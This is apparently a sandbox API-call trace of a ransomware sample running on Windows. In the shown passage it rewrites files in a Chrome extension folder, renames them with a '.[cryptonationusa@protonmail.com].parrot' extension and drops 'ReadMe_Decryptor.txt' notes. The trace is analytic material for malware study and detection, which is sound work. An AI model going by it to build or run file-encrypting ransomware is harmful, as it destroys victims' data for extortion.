[0063.486] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d37b8 [0063.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a8) returned 0x22404c8 [0063.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0063.487] WriteFile (in: hFile=0x284, lpBuffer=0x22404c8*, nNumberOfBytesToWrite=0x1a8, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x22404c8*, lpNumberOfBytesWritten=0x18e024*=0x1a8, lpOverlapped=0x0) returned 1 [0063.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22404c8 | out: hHeap=0x5b0000) returned 1 [0063.487] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.487] CloseHandle (hObject=0x284) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x22404c8 [0063.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x6a39c8 [0063.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22404c8 | out: hHeap=0x5b0000) returned 1 [0063.488] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0063.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0063.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0063.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0063.488] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9148 [0063.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0063.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0063.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0063.490] GetFileType (hFile=0x284) returned 0x1 [0063.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0063.500] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x174, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.500] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.500] ReadFile (in: hFile=0x284, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0063.501] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.501] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x5c, lpOverlapped=0x0) returned 1 [0063.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0063.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0063.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0063.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0063.502] GetLastError () returned 0x0 [0063.502] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0063.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x178) returned 0x22404c8 [0063.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0063.503] WriteFile (in: hFile=0x284, lpBuffer=0x22404c8*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x22404c8*, lpNumberOfBytesWritten=0x18e024*=0x178, lpOverlapped=0x0) returned 1 [0063.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22404c8 | out: hHeap=0x5b0000) returned 1 [0063.503] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x174, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.503] CloseHandle (hObject=0x284) returned 1 [0063.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d9148 [0063.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x22404c8 [0063.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0063.503] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0063.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22404c8 | out: hHeap=0x5b0000) returned 1 [0063.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0063.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0063.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0063.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9148 [0063.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0063.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0063.605] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0063.606] GetFileType (hFile=0x270) returned 0x1 [0063.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0063.616] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x173, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.616] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.616] ReadFile (in: hFile=0x270, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0063.617] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.617] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5b, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x5b, lpOverlapped=0x0) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0063.618] GetLastError () returned 0x0 [0063.618] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0063.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0063.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0063.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0063.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x178) returned 0x22404c8 [0063.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0063.619] WriteFile (in: hFile=0x270, lpBuffer=0x22404c8*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x22404c8*, lpNumberOfBytesWritten=0x18e024*=0x178, lpOverlapped=0x0) returned 1 [0063.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22404c8 | out: hHeap=0x5b0000) returned 1 [0063.619] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x173, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.619] CloseHandle (hObject=0x270) returned 1 [0063.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d9148 [0063.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x22404c8 [0063.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0063.620] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0063.621] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22404c8 | out: hHeap=0x5b0000) returned 1 [0063.621] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0063.621] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0063.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0063.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9148 [0063.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0063.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0063.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0063.622] GetFileType (hFile=0x270) returned 0x1 [0063.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0063.632] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.632] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.632] ReadFile (in: hFile=0x270, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0063.659] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.659] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2d5, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x2d5, lpOverlapped=0x0) returned 1 [0063.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0063.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0063.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0063.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0063.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0063.659] GetLastError () returned 0x0 [0063.660] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0063.660] HeapFree (in: 